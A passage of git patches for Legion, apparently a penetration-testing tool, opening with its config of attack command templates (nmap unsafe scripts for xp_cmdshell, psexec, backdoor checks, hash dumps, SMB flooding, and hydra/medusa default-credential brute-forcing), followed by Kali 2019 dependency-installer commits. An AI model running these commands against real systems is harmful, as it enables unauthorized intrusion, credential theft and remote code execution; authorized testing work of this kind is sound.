--script=irc-unrealircd-backdoor.nse --script-args=unsafe=1", irc -ldapsearch=Run ldapsearch, ldapsearch -h [IP] -p [PORT] -x -s base, ldap -membase-http-info.nse=membase-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=membase-http-info.nse --script-args=unsafe=1", "http,https" -ms-sql-brute.nse=ms-sql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-brute.nse --script-args=unsafe=1", ms-sql -ms-sql-config.nse=ms-sql-config.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-config.nse --script-args=unsafe=1", ms-sql -ms-sql-dac.nse=ms-sql-dac.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dac.nse --script-args=unsafe=1", ms-sql -ms-sql-dump-hashes.nse=ms-sql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dump-hashes.nse --script-args=unsafe=1", ms-sql -ms-sql-empty-password.nse=ms-sql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-empty-password.nse --script-args=unsafe=1", ms-sql -ms-sql-hasdbaccess.nse=ms-sql-hasdbaccess.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-hasdbaccess.nse --script-args=unsafe=1", ms-sql -ms-sql-info.nse=ms-sql-info.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-info.nse --script-args=unsafe=1", ms-sql -ms-sql-query.nse=ms-sql-query.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-query.nse --script-args=unsafe=1", ms-sql -ms-sql-tables.nse=ms-sql-tables.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-tables.nse --script-args=unsafe=1", ms-sql -ms-sql-xp-cmdshell.nse=ms-sql-xp-cmdshell.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-xp-cmdshell.nse --script-args=unsafe=1", ms-sql -msrpc-enum.nse=msrpc-enum.nse, "nmap -Pn [IP] -p [PORT] --script=msrpc-enum.nse --script-args=unsafe=1", msrpc -mssql-default=Check for default mssql credentials, hydra -s [PORT] -C ./wordlists/mssql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mssql, ms-sql-s -mysql-audit.nse=mysql-audit.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-audit.nse --script-args=unsafe=1", mysql -mysql-brute.nse=mysql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-brute.nse --script-args=unsafe=1", mysql -mysql-databases.nse=mysql-databases.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-databases.nse --script-args=unsafe=1", mysql -mysql-default=Check for default mysql credentials, hydra -s [PORT] -C ./wordlists/mysql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mysql, mysql -mysql-dump-hashes.nse=mysql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-dump-hashes.nse --script-args=unsafe=1", mysql -mysql-empty-password.nse=mysql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-empty-password.nse --script-args=unsafe=1", mysql -mysql-enum.nse=mysql-enum.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-enum.nse --script-args=unsafe=1", mysql -mysql-info.nse=mysql-info.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-info.nse --script-args=unsafe=1", mysql -mysql-query.nse=mysql-query.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-query.nse --script-args=unsafe=1", mysql -mysql-users.nse=mysql-users.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-users.nse --script-args=unsafe=1", mysql -mysql-variables.nse=mysql-variables.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-variables.nse --script-args=unsafe=1", mysql -mysql-vuln-cve2012-2122.nse=mysql-vuln-cve2012-2122.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-vuln-cve2012-2122.nse --script-args=unsafe=1", mysql -nbtscan=Run nbtscan, nbtscan -v -h [IP], netbios-ns -nfs-ls.nse=nfs-ls.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-ls.nse --script-args=unsafe=1", nfs -nfs-showmount.nse=nfs-showmount.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-showmount.nse --script-args=unsafe=1", nfs -nfs-statfs.nse=nfs-statfs.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-statfs.nse --script-args=unsafe=1", nfs -nikto=Run nikto, nikto -o [OUTPUT].txt -p [PORT] -h [IP] -C all, "http,https,ssl,soap,http-proxy,http-alt" -nmap=Run nmap (scripts) on port, nmap -Pn -sV -sC -vvvvv -p[PORT] [IP] -oA [OUTPUT], -oracle-brute-stealth.nse=oracle-brute-stealth.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute-stealth.nse --script-args=unsafe=1", oracle -oracle-brute.nse=oracle-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute.nse --script-args=unsafe=1", oracle -oracle-default=Check for default oracle credentials, hydra -s [PORT] -C ./wordlists/oracle-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] oracle-listener, oracle-tns -oracle-enum-users.nse=oracle-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-enum-users.nse --script-args=unsafe=1", oracle -oracle-sid=Oracle SID enumeration, "msfcli auxiliary/scanner/oracle/sid_enum rhosts=[IP] E", oracle-tns' -oracle-sid-brute.nse=oracle-sid-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-sid-brute.nse --script-args=unsafe=1", oracle -oracle-version=Get version, "msfcli auxiliary/scanner/oracle/tnslsnr_version rhosts=[IP] E", oracle-tns -polenum=Extract password policy (polenum), polenum [IP], "netbios-ssn,microsoft-ds" -pop3-brute.nse=pop3-brute.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-brute.nse --script-args=unsafe=1", pop3 -pop3-capabilities.nse=pop3-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-capabilities.nse --script-args=unsafe=1", pop3 -postgres-default=Check for default postgres credentials, hydra -s [PORT] -C ./wordlists/postgres-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] postgres, postgresql -rdp-sec-check=Run rdp-sec-check.pl, perl ./scripts/rdp-sec-check.pl [IP]:[PORT], ms-wbt-server -realvnc-auth-bypass.nse=realvnc-auth-bypass.nse, "nmap -Pn [IP] -p [PORT] --script=realvnc-auth-bypass.nse --script-args=unsafe=1", vnc -riak-http-info.nse=riak-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=riak-http-info.nse --script-args=unsafe=1", "http,https" -rpcinfo=Run rpcinfo, rpcinfo -p [IP], rpcbind -rwho=Run rwho, rwho -a [IP], who -samba-vuln-cve-2012-1182.nse=samba-vuln-cve-2012-1182.nse, "nmap -Pn [IP] -p [PORT] --script=samba-vuln-cve-2012-1182.nse --script-args=unsafe=1", samba -samrdump=Run samrdump, python /usr/share/doc/python-impacket-doc/examples/samrdump.py [IP] [PORT]/SMB, "netbios-ssn,microsoft-ds" -showmount=Show nfs shares, showmount -e [IP], nfs -smb-brute.nse=smb-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smb-brute.nse --script-args=unsafe=1", smb -smb-check-vulns.nse=smb-check-vulns.nse, "nmap -Pn [IP] -p [PORT] --script=smb-check-vulns.nse --script-args=unsafe=1", smb -smb-enum-admins=Enumerate domain admins (net), "net rpc group members \"Domain Admins\" -I [IP] -U% ", "netbios-ssn,microsoft-ds" -smb-enum-domains.nse=smb-enum-domains.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-domains.nse --script-args=unsafe=1", smb -smb-enum-groups=Enumerate groups (nmap), "nmap -p[PORT] --script=smb-enum-groups [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-groups.nse=smb-enum-groups.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-groups.nse --script-args=unsafe=1", smb -smb-enum-policies=Extract password policy (nmap), "nmap -p[PORT] --script=smb-enum-domains [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-processes.nse=smb-enum-processes.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-processes.nse --script-args=unsafe=1", smb -smb-enum-sessions=Enumerate logged in users (nmap), "nmap -p[PORT] --script=smb-enum-sessions [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-sessions.nse=smb-enum-sessions.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-sessions.nse --script-args=unsafe=1", smb -smb-enum-shares=Enumerate shares (nmap), "nmap -p[PORT] --script=smb-enum-shares [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-shares.nse=smb-enum-shares.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-shares.nse --script-args=unsafe=1", smb -smb-enum-users=Enumerate users (nmap), "nmap -p[PORT] --script=smb-enum-users [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-users-rpc=Enumerate users (rpcclient), bash -c \"echo 'enumdomusers' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" -smb-enum-users.nse=smb-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-users.nse --script-args=unsafe=1", smb -smb-flood.nse=smb-flood.nse, "nmap -Pn [IP] -p [PORT] --script=smb-flood.nse --script-args=unsafe=1", smb -smb-ls.nse=smb-ls.nse, "nmap -Pn [IP] -p [PORT] --script=smb-ls.nse --script-args=unsafe=1", smb -smb-mbenum.nse=smb-mbenum.nse, "nmap -Pn [IP] -p [PORT] --script=smb-mbenum.nse --script-args=unsafe=1", smb -smb-null-sessions=Check for null sessions (rpcclient), bash -c \"echo 'srvinfo' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" -smb-os-discovery.nse=smb-os-discovery.nse, "nmap -Pn [IP] -p [PORT] --script=smb-os-discovery.nse --script-args=unsafe=1", smb -smb-print-text.nse=smb-print-text.nse, "nmap -Pn [IP] -p [PORT] --script=smb-print-text.nse --script-args=unsafe=1", smb -smb-psexec.nse=smb-psexec.nse, "nmap -Pn [IP] -p [PORT] --script=smb-psexec.nse --script-args=unsafe=1", smb -smb-security-mode.nse=smb-security-mode.nse, "nmap -Pn [IP] -p [PORT] --script=smb-security-mode.nse --script-args=unsafe=1", smb -smb-server-stats.nse=smb-server-stats.nse, "nmap -Pn [IP] -p [PORT] --script=smb-server-stats.nse --script-args=unsafe=1", smb -smb-system-info.nse=smb-system-info.nse, "nmap -Pn [IP] -p [PORT] --script=smb-system-info.nse --script-args=unsafe=1", smb -smb-vuln-ms10-054.nse=smb-vuln-ms10-054.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-054.nse --script-args=unsafe=1", smb -smb-vuln-ms10-061.nse=smb-vuln-ms10-061.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-061.nse --script-args=unsafe=1", smb -smbenum=Run smbenum, bash ./scripts/smbenum.sh [IP], "netbios-ssn,microsoft-ds" -smbv2-enabled.nse=smbv2-enabled.nse, "nmap -Pn [IP] -p [PORT] --script=smbv2-enabled.nse --script-args=unsafe=1", smb -smtp-brute.nse=smtp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-brute.nse --script-args=unsafe=1", smtp -smtp-commands.nse=smtp-commands.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-commands.nse --script-args=unsafe=1", smtp -smtp-enum-expn=Enumerate SMTP users (EXPN), smtp-user-enum -M EXPN -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp -smtp-enum-rcpt=Enumerate SMTP users (RCPT), smtp-user-enum -M RCPT -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp -smtp-enum-users.nse=smtp-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-enum-users.nse --script-args=unsafe=1", smtp -smtp-enum-vrfy=Enumerate SMTP users (VRFY), smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp -smtp-open-relay.nse=smtp-open-relay.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-open-relay.nse --script-args=unsafe=1", smtp -smtp-strangeport.nse=smtp-strangeport.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-strangeport.nse --script-args=unsafe=1", smtp -smtp-vuln-cve2010-4344.nse=smtp-vuln-cve2010-4344.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2010-4344.nse --script-args=unsafe=1", smtp -smtp-vuln-cve2011-1720.nse=smtp-vuln-cve2011-1720.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1720.nse --script-args=unsafe=1", smtp -smtp-vuln-cve2011-1764.nse=smtp-vuln-cve2011-1764.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1764.nse --script-args=unsafe=1", smtp -snmp-brute=Bruteforce community strings (medusa), bash -c \"medusa -h [IP] -u root -P ./wordlists/snmp-default.txt -M snmp | grep SUCCESS\", "snmp,snmptrap" -snmp-brute.nse=snmp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-brute.nse --script-args=unsafe=1", snmp -snmp-default=Check for default community strings, python ./scripts/snmpbrute.py -t [IP] -p [PORT] -f ./wordlists/snmp-default.txt -b --no-colours, "snmp,snmptrap" -snmp-hh3c-logins.nse=snmp-hh3c-logins.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-hh3c-logins.nse --script-args=unsafe=1", snmp -snmp-interfaces.nse=snmp-interfaces.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-interfaces.nse --script-args=unsafe=1", snmp -snmp-ios-config.nse=snmp-ios-config.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-ios-config.nse --script-args=unsafe=1", snmp -snmp-netstat.nse=snmp-netstat.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-netstat.nse --script-args=unsafe=1", snmp -snmp-processes.nse=snmp-processes.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-processes.nse --script-args=unsafe=1", snmp -snmp-sysdescr.nse=snmp-sysdescr.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-sysdescr.nse --script-args=unsafe=1", snmp -snmp-win32-services.nse=snmp-win32-services.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-services.nse --script-args=unsafe=1", snmp -snmp-win32-shares.nse=snmp-win32-shares.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-shares.nse --script-args=unsafe=1", snmp -snmp-win32-software.nse=snmp-win32-software.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-software.nse --script-args=unsafe=1", snmp -snmp-win32-users.nse=snmp-win32-users.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-users.nse --script-args=unsafe=1", snmp -snmpcheck=Run snmpcheck, snmpcheck -t [IP], "snmp,snmptrap" -sslscan=Run sslscan, sslscan --no-failed [IP]:[PORT], "https,ssl" -sslyze=Run sslyze, sslyze --regular [IP]:[PORT], "https,ssl,ms-wbt-server,imap,pop3,smtp" -tftp-enum.nse=tftp-enum.nse, "nmap -Pn [IP] -p [PORT] --script=tftp-enum.nse --script-args=unsafe=1", tftp -vnc-brute.nse=vnc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-brute.nse --script-args=unsafe=1", vnc -vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --script-args=unsafe=1", vnc -webslayer=Launch webslayer, webslayer, "http,https,ssl,soap,http-proxy,http-alt" -whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,soap,http-proxy,http-alt" -x11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP] 0 [OUTPUT], X11 - -[PortTerminalActions] -firefox=Open with firefox, firefox [IP]:[PORT], -ftp=Open with ftp client, ftp [IP] [PORT], ftp -mssql=Open with mssql client (as sa), python /usr/share/doc/python-impacket-doc/examples/mssqlclient.py -p [PORT] sa@[IP], "mys-sql-s,codasrv-se" -mysql=Open with mysql client (as root), "mysql -u root -h [IP] --port=[PORT] -p", mysql -netcat=Open with netcat, nc -v [IP] [PORT], -psql=Open with postgres client (as postgres), psql -h [IP] -p [PORT] -U postgres, postgres -rdesktop=Open with rdesktop, rdesktop [IP]:[PORT], ms-wbt-server -rlogin=Open with rlogin, rlogin -i root -p [PORT] [IP], login -rpcclient=Open with rpcclient (NULL session), rpcclient [IP] -p [PORT] -U%, "netbios-ssn,microsoft-ds" -rsh=Open with rsh, rsh -l root [IP], shell -ssh=Open with ssh client (as root), ssh root@[IP] -p [PORT], ssh -telnet=Open with telnet, telnet [IP] [PORT], -vncviewer=Open with vncviewer, vncviewer [IP]:[PORT], vnc -xephyr=Open with Xephyr, Xephyr -query [IP] :1, xdmcp - -[SchedulerSettings] -ftp-default=ftp, tcp -mssql-default=ms-sql-s, tcp -mysql-default=mysql, tcp -nikto="http,https,ssl,soap,http-proxy,http-alt,https-alt", tcp -oracle-default=oracle-tns, tcp -postgres-default=postgresql, tcp -screenshooter="http,https,ssl,http-proxy,http-alt,https-alt", tcp -smbenum=microsoft-ds, tcp -snmp-default=snmp, udp -x11screen=X11, tcp - -[StagedNmapSettings] -stage1-ports="T:80,443" -stage2-ports="T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434" -stage3-ports="Vulners,CVE" -stage4-ports="T:23,21,22,110,111,2049,3389,8080,U:500,5060" -stage5-ports="T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999" -stage6-ports="T:30000-65534,65535" - -[ToolSettings] -cutycapt-path=/usr/bin/cutycapt -hydra-path=/usr/bin/hydra -nmap-path=/usr/bin/nmap -texteditor-path=/usr/bin/leafpad From 5c99b75b773f8faa72e9c3016c10e29f7dd42266 Mon Sep 17 00:00:00 2001 From: jchoy14 <28782996+jchoy14@users.noreply.github.com> Date: Wed, 6 Mar 2019 16:43:17 -0500 Subject: [PATCH 181/450] Adding dnsmap dep --- deps/installDeps.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/deps/installDeps.sh b/deps/installDeps.sh index 8a8f95bb..e8c30d1b 100644 --- a/deps/installDeps.sh +++ b/deps/installDeps.sh @@ -7,4 +7,4 @@ echo "Checking Apt..." runAptGetUpdate echo "Installing deps..." -DEBIAN_FRONTEND="noninteractive" apt-get -yqqq --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install nmap finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb imagemagick eog hping3 python-impacket ruby perl +DEBIAN_FRONTEND="noninteractive" apt-get -yqqq --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install nmap finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb imagemagick eog hping3 python-impacket ruby perl dnsmap From e90450ec8d6be03f60c88a7a6d3eb6f6324bfadd Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 6 Mar 2019 16:04:09 -0600 Subject: [PATCH 182/450] Add kali 2019 to detection --- controller/controller.py | 2 +- deps/Kali-2019.sh | 11 +++++++++++ deps/Kali-2019WSL.sh | 14 ++++++++++++++ deps/detectOs.sh | 7 +++++-- 4 files changed, 31 insertions(+), 3 deletions(-) create mode 100644 deps/Kali-2019.sh create mode 100644 deps/Kali-2019WSL.sh diff --git a/controller/controller.py b/controller/controller.py index 8c82df95..aade87df 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,7 +28,7 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.4' - self.build = '1551907880' + self.build = '1551909837' self.author = 'GoVanguard' self.copyright = '2019' self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] diff --git a/deps/Kali-2019.sh b/deps/Kali-2019.sh new file mode 100644 index 00000000..6dbba96f --- /dev/null +++ b/deps/Kali-2019.sh @@ -0,0 +1,11 @@ +#!/bin/bash + +chmod a+x ./deps/*.sh + +./deps/installDeps.sh +./deps/installPython36.sh + +source ./deps/detectPython.sh + +echo "Installing Python Libraries..." +./deps/installPythonLibs.sh diff --git a/deps/Kali-2019WSL.sh b/deps/Kali-2019WSL.sh new file mode 100644 index 00000000..9b440219 --- /dev/null +++ b/deps/Kali-2019WSL.sh @@ -0,0 +1,14 @@ +#!/bin/bash + +chmod a+x ./deps/*.sh + +./deps/installDeps.sh +./deps/installPython36.sh + +source ./deps/detectPython.sh + +echo "Installing Python Libraries..." +./deps/installPythonLibs.sh + +echo "WSL Setup..." +./deps/setupWsl.sh diff --git a/deps/detectOs.sh b/deps/detectOs.sh index 401c52cb..a6193675 100644 --- a/deps/detectOs.sh +++ b/deps/detectOs.sh @@ -27,10 +27,13 @@ then elif [[ ${releaseOutput} == *"Kali"* ]] then releaseName="Kali" - if [[ ${releaseOutput} == *"2018"* ]] + if [[ ${releaseOutput} == *"2019"* ]] + then + releaseVersion="2019" + elif [[ ${releaseOutput} == *"2018"* ]] then releaseVersion="2018" - elif [[ ${releaseOutput} == *"2016."* ]] + elif [[ ${releaseOutput} == *"2016"* ]] then releaseVersion="2016" fi From 0649f42750c22dec4dadc01ba905c9225d8fdea3 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 6 Mar 2019 16:26:28 -0600 Subject: [PATCH 183/450] Add some additional deps, Move script installDeps to after main deps --- controller/controller.py | 2 +- deps/installDeps.sh | 8 +++++--- startLegion.sh | 5 ++--- 3 files changed, 8 insertions(+), 7 deletions(-) diff --git a/controller/controller.py b/controller/controller.py index aade87df..32e91fd9 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,7 +28,7 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.4' - self.build = '1551909837' + self.build = '1551911135' self.author = 'GoVanguard' self.copyright = '2019' self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] diff --git a/deps/installDeps.sh b/deps/installDeps.sh index 9cf6a17b..cd8de599 100644 --- a/deps/installDeps.sh +++ b/deps/installDeps.sh @@ -3,10 +3,12 @@ source ./deps/apt.sh # Install deps -echo "Checking Apt..." -runAptGetUpdate +## Disabled temporrily - Doesn't always detect apt-get update incomplete + echo "Checking Apt..." +# runAptGetUpdate +apt-get update -m echo "Installing deps..." -DEBIAN_FRONTEND="noninteractive" apt-get -yqqq --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install nmap finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb imagemagick eog hping3 sqlmap wapiti libqt5core5a +DEBIAN_FRONTEND="noninteractive" apt-get -yqqq --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install nmap finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb imagemagick eog hping3 sqlmap wapiti libqt5core5a python-pip diff --git a/startLegion.sh b/startLegion.sh index 94f4464d..7cb357d5 100644 --- a/startLegion.sh +++ b/startLegion.sh @@ -8,9 +8,6 @@ source ./deps/detectPython.sh # Determine OS, version and if WSL source ./deps/detectOs.sh -# Determine if additional Sparta scripts are installed -source ./deps/detectScripts.sh - # Figure if fist run or recloned and install deps if [ ! -f ".initialized" ] | [ -f ".justcloned" ] then @@ -21,6 +18,8 @@ then fi echo "Running ${DEPINSTALLER}..." bash ./deps/${DEPINSTALLER} + # Determine if additional Sparta scripts are installed + source ./deps/detectScripts.sh touch .initialized rm .justcloned -f fi From 8b7d59edf64fbcd06c6ba9e32db033c6445d30e2 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 6 Mar 2019 17:23:57 -0600 Subject: [PATCH 184/450] renameat2() workaround for kali 2019 and path fix --- controller/controller.py | 2 +- deps/Kali-2019.sh | 3 +++ deps/Kali-2019WSL.sh | 3 +++ startLegion.sh | 2 +- 4 files changed, 8 insertions(+), 2 deletions(-) diff --git a/controller/controller.py b/controller/controller.py index 32e91fd9..1d92e4da 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,7 +28,7 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.4' - self.build = '1551911135' + self.build = '1551914589' self.author = 'GoVanguard' self.copyright = '2019' self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] diff --git a/deps/Kali-2019.sh b/deps/Kali-2019.sh index 6dbba96f..32ac1534 100644 --- a/deps/Kali-2019.sh +++ b/deps/Kali-2019.sh @@ -9,3 +9,6 @@ source ./deps/detectPython.sh echo "Installing Python Libraries..." ./deps/installPythonLibs.sh + +echo "renameat2() work around for libQt5Core.so.5 and cutycapt" +strip --remove-section=.note.ABI-tag /usr/lib/x86_64-linux-gnu/libQt5Core.so.5 diff --git a/deps/Kali-2019WSL.sh b/deps/Kali-2019WSL.sh index 9b440219..9d7d51a0 100644 --- a/deps/Kali-2019WSL.sh +++ b/deps/Kali-2019WSL.sh @@ -12,3 +12,6 @@ echo "Installing Python Libraries..." echo "WSL Setup..." ./deps/setupWsl.sh + +echo "renameat2() work around for libQt5Core.so.5 and cutycapt" +strip --remove-section=.note.ABI-tag /usr/lib/x86_64-linux-gnu/libQt5Core.so.5 diff --git a/startLegion.sh b/startLegion.sh index 7cb357d5..ded76d34 100644 --- a/startLegion.sh +++ b/startLegion.sh @@ -19,7 +19,7 @@ then echo "Running ${DEPINSTALLER}..." bash ./deps/${DEPINSTALLER} # Determine if additional Sparta scripts are installed - source ./deps/detectScripts.sh + bash ./deps/detectScripts.sh touch .initialized rm .justcloned -f fi From 76bc7b73602e23df8d36370b459f8438e2c074e7 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 6 Mar 2019 18:06:23 -0600 Subject: [PATCH 185/450] Path fix --- controller/controller.py | 2 +- deps/detectScripts.sh | 5 ++++- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/controller/controller.py b/controller/controller.py index 1d92e4da..94865944 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,7 +28,7 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.4' - self.build = '1551914589' + self.build = '1551917157' self.author = 'GoVanguard' self.copyright = '2019' self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] diff --git a/deps/detectScripts.sh b/deps/detectScripts.sh index 7e42dcea..5848c528 100644 --- a/deps/detectScripts.sh +++ b/deps/detectScripts.sh @@ -1,7 +1,8 @@ #!/bin/bash echo "Checking for additional Sparta scripts..." -echo $(pwd) +curPath=`pwd` + if [ -a scripts/smbenum.sh ] then echo "smbenum.sh is already installed" @@ -62,3 +63,5 @@ if [ ! -f ".initialized" ] then scripts/installDeps.sh fi + +cd ${curPath} From 2610438c5732fe6f69369d9c2ce5f46eb13b9bbd Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 6 Mar 2019 18:41:31 -0600 Subject: [PATCH 186/450] Add in rescan for python --- controller/controller.py | 2 +- startLegion.sh | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/controller/controller.py b/controller/controller.py index 94865944..e922bf4e 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,7 +28,7 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.4' - self.build = '1551917157' + self.build = '1551919280' self.author = 'GoVanguard' self.copyright = '2019' self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] diff --git a/startLegion.sh b/startLegion.sh index ded76d34..7b0e6a41 100644 --- a/startLegion.sh +++ b/startLegion.sh @@ -20,6 +20,7 @@ then bash ./deps/${DEPINSTALLER} # Determine if additional Sparta scripts are installed bash ./deps/detectScripts.sh + source ./deps/detectPython.sh touch .initialized rm .justcloned -f fi From 92a9d1378bb6b389902f71228ece8cdd7616b4da Mon Sep 17 00:00:00 2001 From: jchoy14 <28782996+jchoy14@users.noreply.github.com> Date: Thu, 7 Mar 2019 13:41:49 -0500 Subject: [PATCH 187/450] dnsmap integration --- app/logic.py | 3 +- legion.conf | 1 + wordlists/gvit_subdomain_wordlist.txt | 11611 ++++++++++++++++++++++++ 3 files changed, 11614 insertions(+), 1 deletion(-) create mode 100644 wordlists/gvit_subdomain_wordlist.txt diff --git a/app/logic.py b/app/logic.py index 9d6b2827..0016200e 100644 --- a/app/logic.py +++ b/app/logic.py @@ -35,7 +35,8 @@ def createTemporaryFiles(self): self.runningfolder = tempfile.mkdtemp(suffix="-running",prefix="legion-", dir="./tmp/") # to store tool output of running processes os.makedirs(self.outputfolder+'/screenshots') # to store screenshots os.makedirs(self.runningfolder+'/nmap') # to store nmap output - os.makedirs(self.runningfolder+'/hydra') # to store hydra output + os.makedirs(self.runningfolder+'/hydra') # to store hydra output + os.makedirs(self.runningfolder+'/dnsmap') # to store dnsmap output self.usernamesWordlist = Wordlist(self.outputfolder + '/legion-usernames.txt') # to store found usernames self.passwordsWordlist = Wordlist(self.outputfolder + '/legion-passwords.txt') # to store found passwords self.projectname = tf.name diff --git a/legion.conf b/legion.conf index e7728283..eacbb1ca 100644 --- a/legion.conf +++ b/legion.conf @@ -271,6 +271,7 @@ vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --scri webslayer=Launch webslayer, webslayer, 